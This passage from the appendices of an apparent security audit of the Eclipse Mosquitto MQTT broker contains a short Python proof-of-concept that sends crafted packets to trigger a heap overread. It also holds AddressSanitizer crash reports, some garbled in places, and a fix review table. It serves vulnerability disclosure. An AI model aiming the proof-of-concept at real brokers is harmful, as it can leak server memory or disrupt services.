SECOND_PACKET = [0x10, 0x18, 0x00, 0x04, 0x4d, 0x51, 0x54, 0x50, 0x05, 0x00, 0xce, 0x9e, 0xa, 0x17, 0x01, 0xc0, 0x7e, 0x27, 0x6f, 0xea, 0xd1, 0x01,
0x00, 0x01, 0x42]

def main():
    (host, port) = ("127.0.0.1", 1883)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.send(bytearray(FIRST_PACKET))
    s.close()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.send(bytearray(SECOND_PACKET))
    s.close()

if __name__ == '__main__':
    main()
```

*Figure C.2: The PoC Python script to reproduce the heap buffer overread issue in finding TOB-MOSQ-CR-5*
Figure C.3: A portion of the mosquitto.db hexdump that shows extraneous data from the heap after the PoC script is run.
D. TOB-MOSQ-CR-8 Crash Reports

This appendix provides the AddressSanitizer crash reports that uncovered finding TOB-MOSQ-CR-8.

```
==66817==ERROR: AddressSanitizer: heap-use-after-free on address 0x608000041a0 at pc 0x7faa06399084 bp 0x7faa011ee140 sp 0x7faa011ee138
READ of size 8 at 0x608000041a0 thread T2
  #0 0x7faa06399083 in dynsec_groups__find
      /home/ubuntu/contrib/mosquitto/plugins/dynamic-security/groups.c:83:3
  #1 0x7faa0639ab18 in group__free_item
      /home/ubuntu/contrib/mosquitto/plugins/dynamic-security/groups.c:94:16
  #2 0x7faa0639a9b9 in dynsec_groups__cleanup
      /home/ubuntu/contrib/mosquitto/plugins/dynamic-security/groups.c:177:3
  #3 0x7faa063bb61c in mosquitto_plugin_cleanup
      /home/ubuntu/contrib/mosquitto/plugins/dynamic-security/plugin.c:131:2
  #4 0x563951dd1da8 in plugin__unload_single
      /home/ubuntu/contrib/mosquitto/src/plugin_cleanup.c:40:4
  #5 0x563951d1b4ad in mosquitto__free
      /home/ubuntu/contrib/mosquitto/src/..../lib/memory_mosq.c:80:2
  #6 0x7faa06399084 in group__free_item
      /home/ubuntu/contrib/mosquitto/plugins/dynamic-security/groups.c:102:2
  #7 0x7faa063bb61c in mosquitto_plugin_cleanup
      /home/ubuntu/contrib/mosquitto/plugins/dynamic-security/plugin.c:131:2
  #8 0x7faa06bd4b42 in start_thread nptl/pthread_create.c:442:8
  #9 0x7faa06cc629ff misc/.../sysdeps/unix/sysv/linux/x86_64/clone3.S:81

0x608000041a0 is located 0 bytes inside of 95-byte region
[0x608000041a0,0x608000041ff)
freed by thread T2 here:
  #0 0x563951cdf4f2 in free (/tmp/broker_fuzz_test_dynsec_config+0x1354f2)
  (BuildId: 741e52ef4323eaaa56125a498597335f75f88c6e)
      #1 0x563951dd1da8 in plugin__unload_single
      /home/ubuntu/contrib/mosquitto/src/plugin_cleanup.c:40:4
  #2 0x563951db94b8 in mosquitto__free
      /home/ubuntu/contrib/mosquitto/src/..../lib/memory_mosq.c:80:2
  #3 0x563951db70b4 in plugin__unload_all
      /home/ubuntu/contrib/mosquitto/src/plugin_cleanup.c:84:3
  #4 0x563951d15c99 in mosquitto_fuzz_main
      /home/ubuntu/contrib/mosquitto/src/mosquitto.c:509:2
  #5 0x563951a51ae5 in run_broker(void*)
      /home/ubuntu/contrib/mosquitto/fuzzing/broker/broker_fuzz_test_dynsec_config.cpp:35:2
  #6 0x563951c4f2 in free (/tmp/broker_fuzz_test_dynsec_config+0x1354f2)
      (BuildId: 741e52ef4323eaaa56125a498597335f75f88c6e)
      #2 0x563951d1b4ad in mosquitto__free
      /home/ubuntu/contrib/mosquitto/src/..../lib/memory_mosq.c:80:2
  #3 0x563951d1b4ad in plugin__unload_all
      /home/ubuntu/contrib/mosquitto/src/plugin_cleanup.c:84:3
  #4 0x7faa06399084 in group__free_item
      /home/ubuntu/contrib/mosquitto/plugins/dynamic-security/groups.c:102:2
  #5 0x7faa063bb61c in mosquitto_plugin_cleanup
      /home/ubuntu/contrib/mosquitto/plugins/dynamic-security/plugin.c:131:2
  #6 0x563951dd1da8 in plugin__unload_single
      /home/ubuntu/contrib/mosquitto/src/plugin_cleanup.c:40:4
  #7 0x563951d1b4ad in mosquitto_fuzz_main
      /home/ubuntu/contrib/mosquitto/src/mosquitto.c:509:2

```

#9 0x563951d19ae5 in run_broker(void*)
/home/ubuntu/contrib/mosquitto/fuzzing/broker/broker_fuzz_test_dynsec_config.cpp:35:
2
#10 0x7faa06bd0b42 in start_thread nptl/pthread_create.c:442:8

previously allocated by thread T2 here:
#0 0x563951cd9f88 in __interceptor_calloc
(/tmp/broker_fuzz_test_dynsec_config+0x135988) (BuildId: 741e52ef4323eaad6125a498597335f75fe8cc6e)
#1 0x563951d8b87e in mosquitto__calloc
/home/ubuntu/contrib/mosquitto/src/../lib/memory_mosq.c:58:8
#2 0x563951d8c054 in mosquitto_calloc
/home/ubuntu/contrib/mosquitto/src/memory_public.c:25:9
#3 0x7faa0639bdde in dynsec_groups__config_load
/home/ubuntu/contrib/mosquitto/plugins/dynamic-security/groups.c:221:12
#4 0x7faa06391338 in dynsec__config_from_json
/home/ubuntu/contrib/mosquitto/plugins/dynamic-security/config.c:86:7
#5 0x7faa063918b8 in dynsec__config_load
/home/ubuntu/contrib/mosquitto/plugins/dynamic-security/config.c:147:7
#6 0x7faa063bb1c4 in mosquitto_plugin_init
/home/ubuntu/contrib/mosquitto/plugins/dynamic-security/plugin.c:74:2
#7 0x563951eaca16 in plugin__load_v5
/home/ubuntu/contrib/mosquitto/src/plugin_v5.c:46:8
#8 0x563951dd41f7 in plugin__load_single
/home/ubuntu/contrib/mosquitto/src/plugin_init.c:89:8
#9 0x563951dd3c70 in plugin__load_all
/home/ubuntu/contrib/mosquitto/src/plugin_init.c:119:8
#10 0x563951da1ab22 in mosquitto_fuzz_main
/home/ubuntu/contrib/mosquitto/fuzzing/broker/broker_fuzz_test_dynsec_config.cpp:35:
2
#12 0x7faa06bd0b42 in start_thread nptl/pthread_create.c:442:8

Thread T2 created by T0 here:
#0 0x563951cc852c in __interceptor_pthread_create
(/tmp/broker_fuzz_test_dynsec_config+0x11e52c) (BuildId: 741e52ef4323eaad6125a498597335f75fe8cc6e)
#1 0x563951d1a1c4 in LLVMFuzzerTestOneInput
/home/ubuntu/contrib/mosquitto/fuzzing/broker/broker_fuzz_test_dynsec_config.cpp:90:
2
#2 0x563951c40cd2 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*,
unsigned long) (/tmp/broker_fuzz_test_dynsec_config+0x96cd2) (BuildId: 741e52ef4323eaad6125a498597335f75fe8cc6e)
#3 0x563951c2ab50 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/tmp/broker_fuzz_test_dynsec_config+0x88b50) (BuildId: 741e52ef4323eaad6125a498597335f75fe8cc6e)
#4 0x563951c30817 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/tmp/broker_fuzz_test_dynsec_config+0x86817) (BuildId: 741e52ef4323eaad6125a498597335f75fe8cc6e)
#5 0x563951c59e32 in main (/tmp/broker_fuzz_test_dynsec_config+0xafe32) (BuildId: 741e52ef4323eaad6125a498597335f75fe8cc6e)
SUMMARY: AddressSanitizer: heap-use-after-free
/home/ubuntu/contrib/mosquitto/plugins/dynamic-security/groups.c:83:3 in
dynsec_groups__find

Shadow bytes around the buggy address:
0x0c107fff87e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c107fff87f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c107fff8800: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 fa
0x0c107fff8810: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
0x0c107fff8820: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c107fff8830: fa fa fa fa[fd]fd fd fd fd fd fd fd fd fd fd fd
0x0c107fff8840: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c107fff8850: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c107fff8860: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c107fff8870: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c107fff8880: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==866817==ABORTING

Figure D.1: The AddressSanitizer report that uncovered an issue where duplicate group names cause use-after-free instances in dynsec_groups__find (TOB-MOSQ-CR-8)
#3 0x7f22c4a99628 in mosquitto_plugin_cleanup
/home/ubuntu/contrib/mosquitto/plugins/dynamic-security/plugin.c:132:2
#4 0x56037e47bda8 in plugin__unload_single
/home/ubuntu/contrib/mosquitto/src/plugin_cleanup.c:40:4
#5 0x56037e47bb49 in plugin__unload_all
/home/ubuntu/contrib/mosquitto/src/plugin_cleanup.c:84:3
#6 0x56037e3c54ad in mosquitto_fuzz_main
/home/ubuntu/contrib/mosquitto/src/mosquitto.c:509:2
#7 0x56037e3c3ae5 in run_broker(void*)
/home/ubuntu/contrib/mosquitto/fuzzing/broker/broker_fuzz_test_dynsec_config.cpp:35:2
#8 0x7f22c5041b42 in start_thread nptl/pthread_create.c:442:8
#9 0x7f22c50d39ff misc/..sysdeps/unix/sysv/linux/x86_64/clone3.S:81

0x6120000100c0 is located 0 bytes inside of 262-byte region
[0x6120000000c0,0x6120000101c6)
freed by thread T2 here:
#0 0x56037e3e39f2 in free (/tmp/broker_fuzz_test_dynsec_config+0x1354f2)
(BuildId: 741e52ef432eaa6125a498597335f75fe8cc6e)
#1 0x56037e3e359dd in mosquitto__free
/home/ubuntu/contrib/mosquitto/src/..../lib/memory_mosq.c:80:2
#2 0x56037e434360b4 in mosquitto_free
/home/ubuntu/contrib/mosquitto/src/memory_public.c:30:2
#3 0x7f22c4a54358 in client__free_item
/home/ubuntu/contrib/mosquitto/plugins/dynamic-security/clients.c:90:2
#4 0x7f22c4a53341 in dynsec_clients__cleanup
/home/ubuntu/contrib/mosquitto/plugins/dynamic-security/clients.c:98:3
#5 0x7f22c4a99628 in mosquitto_plugin_cleanup
/home/ubuntu/contrib/mosquitto/plugins/dynamic-security/plugin.c:132:2
#6 0x56037e47bda8 in plugin__unload_single
/home/ubuntu/contrib/mosquitto/src/plugin_cleanup.c:40:4
#7 0x56037e47bb49 in plugin__unload_all
/home/ubuntu/contrib/mosquitto/src/plugin_cleanup.c:84:3
#8 0x56037e3c54ad in mosquitto_fuzz_main
/home/ubuntu/contrib/mosquitto/src/mosquitto.c:509:2
#9 0x56037e3c3ae5 in run_broker(void*)
/home/ubuntu/contrib/mosquitto/fuzzing/broker/broker_fuzz_test_dynsec_config.cpp:35:2
#10 0x7f22c5041b42 in start_thread nptl/pthread_create.c:442:8

previously allocated by thread T2 here:
#0 0x56037e3e39f2 in __interceptor_calloc
(/tmp/broker_fuzz_test_dynsec_config+0x135988) (BuildId: 741e52ef432eaa6125a498597335f75fe8cc6e)
#1 0x56037e3e359dd in mosquitto__free
/home/ubuntu/contrib/mosquitto/src/..../lib/memory_mosq.c:80:2
#2 0x56037e434360b4 in mosquitto_free
/home/ubuntu/contrib/mosquitto/src/memory_public.c:30:2
#3 0x7f22c4a54358 in client__free_item
/home/ubuntu/contrib/mosquitto/plugins/dynamic-security/clients.c:90:2
#4 0x7f22c4a53341 in dynsec_clients__cleanup
/home/ubuntu/contrib/mosquitto/plugins/dynamic-security/clients.c:98:3
#5 0x7f22c4a99628 in mosquitto_plugin_cleanup
/home/ubuntu/contrib/mosquitto/plugins/dynamic-security/plugin.c:132:2
#6 0x56037e47bda8 in plugin__unload_single
/home/ubuntu/contrib/mosquitto/src/plugin_cleanup.c:40:4
#7 0x56037e47bb49 in plugin__unload_all
/home/ubuntu/contrib/mosquitto/src/plugin_cleanup.c:84:3
#8 0x56037e3c54ad in mosquitto_fuzz_main
/home/ubuntu/contrib/mosquitto/src/mosquitto.c:509:2
#9 0x56037e3c3ae5 in run_broker(void*)
/home/ubuntu/contrib/mosquitto/fuzzing/broker/broker_fuzz_test_dynsec_config.cpp:35:2
#10 0x7f22c5041b42 in start_thread nptl/pthread_create.c:442:8
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SUMMARY: AddressSanitizer: heap-use-after-free
/home/ubuntu/contrib/mosquitto/plugins/dynamic-security/clients.c:70:3 in
dynsec_clients__find
Shadow bytes around the buggy address:
0x0c247fff9fc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff9fd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff9fe0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c247fff9ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c247fffa000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c247fffa010: fa fa fa fa fa fa fa fa[fd]fd fd fd fd fd fd
0x0c247fffa020: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c247fffa030: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c247fffa040: fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 00
0x0c247fffa050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c247fffa060: 00 00 00 00 00 00 00 00 00 06 fa fa fa fa fa fa
Figure D.2: The AddressSanitizer report that uncovered an issue where duplicate client usernames cause use-after-free instances in `dynsec_clients__find` (TOB-MOSQ-CR-8)
E. TOB-MOSQ-CR-9 Crash Report

This appendix provides the AddressSanitizer crash report that uncovered finding TOB-MOSQ-CR-9.

AddressSanitizer:DEADLYSIGNAL
=================================================================
==3313501==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f38de77a9fa bp 0x7ffcb80cc390 sp 0x7ffcb80cc0b8 T0)
==3313501==The signal is caused by a READ memory access.
==3313501==Hint: address points to the zero page.
 #0 0x7f38de77a9fa  (/lib/x86_64-linux-gnu/libc.so.6+0xba9fa)
 #1 0x7f38def1b8ce in __interceptor_strdup
../../../../src/libsanitizer/asan/asan_interceptors.cpp:450
 #2 0x5596da5afdd87 in mosquitto__strdup ../lib/memory_mosq.c:152
 #3 0x5596da5afec7 in mosquitto_strdup
/home/ubuntu/mosquitto/src/memory_public.c:45
 #4 0x7f38db69e6ed in dynsec_roles__config_load
/home/ubuntu/mosquitto/plugins/dynamic-security/roles.c:283
 #5 0x7f38db6712c8 in dynsec__config_from_json
/home/ubuntu/mosquitto/plugins/dynamic-security/config.c:84
 #6 0x7f38db671b8b8 in dynsec__config_load
/home/ubuntu/mosquitto/plugins/dynamic-security/config.c:147
 #7 0x7f38db69b1c4 in mosquitto_plugin_init
/home/ubuntu/mosquitto/plugins/dynamic-security/plugin.c:74
 #8 0x5596da5e15bc in plugin__load_v5 /home/ubuntu/mosquitto/src/plugin_v5.c:46
 #9 0x5596da5afaff in plugin__load_single
/home/ubuntu/mosquitto/src/plugin_init.c:89
 #10 0x5596da5e5cf9 in plugin__load_all
/home/ubuntu/mosquitto/src/plugin_init.c:119
 #11 0x5596da546953 in main /home/ubuntu/mosquitto/src/mosquitto.c:415
 #12 0x7f38de6e9df8 in __libc_start_call_main
../sysdeps/nptl/libc_start_call_main.h:58
 #13 0x7f38de6e9e3f in __libc_start_mainimpl ../csu/libc-start.c:392
 #14 0x5596da5453e4 in _start (/home/ubuntu/mosquitto/src/mosquitto_asan+0x243e4)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0xba9fa)
==3313501==ABORTING

Figure E.1: The AddressSanitizer report that uncovered the NULL pointer dereference in dynsec_roles__config_load (TOB-MOSQ-CR-9)
F. Fix Review Results

When undertaking a fix review, Trail of Bits reviews the fixes implemented for issues identified in the original report. This work involves a review of specific areas of the source code and system configuration, not comprehensive analysis of the system.

On October 4, 2023, Trail of Bits reviewed the fixes and mitigations implemented by the Eclipse Mosquitto team for the issues identified in this report. We reviewed each fix to determine its effectiveness in resolving the associated issue.

In summary, of the 16 issues described in this report, Eclipse Mosquitto has resolved 13 issues, has partially resolved two issues, and has not resolved the remaining one issue. For additional information, please see the Detailed Fix Review Results below.

<table>
<thead>
<tr>
<th>ID</th>
<th>Title</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Insufficient default number of PBKDF2 iterations</td>
<td>Unresolved</td>
</tr>
<tr>
<td>2</td>
<td>Improper implementation of constant-time comparison</td>
<td>Partially Resolved</td>
</tr>
<tr>
<td>3</td>
<td>mosquitto_passwd creates world-readable password files</td>
<td>Resolved</td>
</tr>
<tr>
<td>4</td>
<td>mosquitto_passwd trusts existing backup files</td>
<td>Resolved</td>
</tr>
<tr>
<td>5</td>
<td>Heap buffer overread issue in persist__chunk_client_write_v6</td>
<td>Resolved</td>
</tr>
<tr>
<td>6</td>
<td>mosquitto_ctrl dynsec init creates world-readable config</td>
<td>Resolved</td>
</tr>
<tr>
<td>7</td>
<td>Race condition in file existence check by mosquitto_ctrl dynsec init</td>
<td>Resolved</td>
</tr>
<tr>
<td>8</td>
<td>Use-after-free instances in dynsec_groups__find and dynsec_clients__find</td>
<td>Resolved</td>
</tr>
<tr>
<td></td>
<td>Issue Description</td>
<td>Status</td>
</tr>
<tr>
<td>---</td>
<td>-----------------------------------------------------------------------------------</td>
<td>-------------</td>
</tr>
<tr>
<td>9</td>
<td>NULL pointer dereference in dynsec_roles__config_load</td>
<td>Resolved</td>
</tr>
<tr>
<td>10</td>
<td>Broker creates world-readable TLS key log files</td>
<td>Resolved</td>
</tr>
<tr>
<td>11</td>
<td>Broker trusts existing TLS key log files</td>
<td>Resolved</td>
</tr>
<tr>
<td>12</td>
<td>libmosquitto accepts wildcard certificates for public suffixes</td>
<td>Resolved</td>
</tr>
<tr>
<td>13</td>
<td>Username characters not validated when taken from client certificate</td>
<td>Resolved</td>
</tr>
<tr>
<td>14</td>
<td>Improper parsing of X-Forwarded-For header</td>
<td>Resolved</td>
</tr>
<tr>
<td>15</td>
<td>Logger registers with DLT when DLT is not a log destination</td>
<td>Resolved</td>
</tr>
<tr>
<td>16</td>
<td>Documentation recommends insecure encryption practices for TLS private key</td>
<td>Partially Resolved</td>
</tr>
</tbody>
</table>
Detailed Fix Review Results

TOB-MOSQ-CR-1: Insufficient default number of PBKDF2 iterations
Unresolved. The Mosquitto developers provided the following comment:

Unresolved, due to performance requirements, e.g. we must run on a 600MHz single core ARM with 128MB RAM.

As this issue allows trivial brute-forcing of password hashes by default, even on devices with sufficient computing power to prevent such attacks, we recommend increasing the default number of iterations to at least 210,000, as recommended by OWASP.

TOB-MOSQ-CR-2: Improper implementation of constant-time comparison
Partially resolved in commit 67ac8cb. The memcmp_const, pw_memcmp_const, and mosquitto_memcmp_const functions now perform a bitwise XOR operation, instead of branching, to ensure constant-time comparison. This behavior is similar to that of one implementation of OpenSSL's CRYPTO_memcmp function.

However, unlike CRYPTO_memcmp, Mosquitto's functions do not declare local volatile pointers to the input arrays. According to a comment in the OpenSSL code, the use of volatile is necessary “to ensure that the compiler generates code that reads all values from the array and doesn't try to optimize this away. The standard doesn't actually require this behavior if the original data pointed to is not volatile, but compilers do this in practice anyway.”

As a result, it may be possible for a compiler to optimize Mosquitto's constant-time comparison functions into versions that are not actually constant-time. We recommend either replacing these functions with calls to CRYPTO_memcmp, or using volatile pointers in the same way that CRYPTO_memcmp does, in order to prevent such optimization.

TOB-MOSQ-CR-3: mosquitto_passwd creates world-readable password files
Resolved in commit 4ca294f.

TOB-MOSQ-CR-4: mosquitto_passwd trusts existing backup files
Resolved in commit 44b9487.

TOB-MOSQ-CR-5: Heap buffer overread issue in persist_chunk_client_write_v6
Resolved in commit b1c29e8.

TOB-MOSQ-CR-6: mosquitto_ctrl dynsec init creates world-readable config
Resolved in commits 4ca294f and 3ab0a9a.

TOB-MOSQ-CR-7: Race condition in file existence check by mosquitto_ctrl dynsec init
Resolved in commit 3ab0a9a.
TOB-MOSQ-CR-8: Use-after-free instances in dynsec_groups_find and dynsec_clients_find
Resolved in commit b76c3c7.

TOB-MOSQ-CR-9: NULL pointer dereference in dynsec_roles_config_load
Resolved in commit 8bc0475.

TOB-MOSQ-CR-10: Broker creates world-readable TLS key log files
Resolved in commits 9be6aec and ce9e2d3.

TOB-MOSQ-CR-11: Broker trusts existing TLS key log files
Resolved in commits 9be6aec and fd4f4bc.

TOB-MOSQ-CR-12: libmosquitto accepts wildcard certificates for public suffixes
Resolved in commit 284db04.

TOB-MOSQ-CR-13: Username characters not validated when taken from client certificate
Resolved in commit 02d36f9.

TOB-MOSQ-CR-14: Improper parsing of X-Forwarded-For header
Resolved in commit 5c135a2.

TOB-MOSQ-CR-15: Logger registers with DLT when DLT is not a log destination
Resolved in commit 3fc7dce.

TOB-MOSQ-CR-16: Documentation recommends insecure encryption practices for TLS private key
Partially resolved in commit fa9979c. The man page no longer provides an openssl command to generate a 3DES-encrypted private key, but it still provides an openssl command to generate a private key without any encryption. We recommend removing this example in order to encourage secure key storage practices.
G. Fix Review Status Categories

The following table describes the statuses used to indicate whether an issue has been sufficiently addressed.

<table>
<thead>
<tr>
<th>Fix Status</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Undetermined</td>
<td>The status of the issue was not determined during this engagement.</td>
</tr>
<tr>
<td>Unresolved</td>
<td>The issue persists and has not been resolved.</td>
</tr>
<tr>
<td>Partially Resolved</td>
<td>The issue persists but has been partially resolved.</td>
</tr>
<tr>
<td>Resolved</td>
<td>The issue has been sufficiently resolved.</td>
</tr>
</tbody>
</table>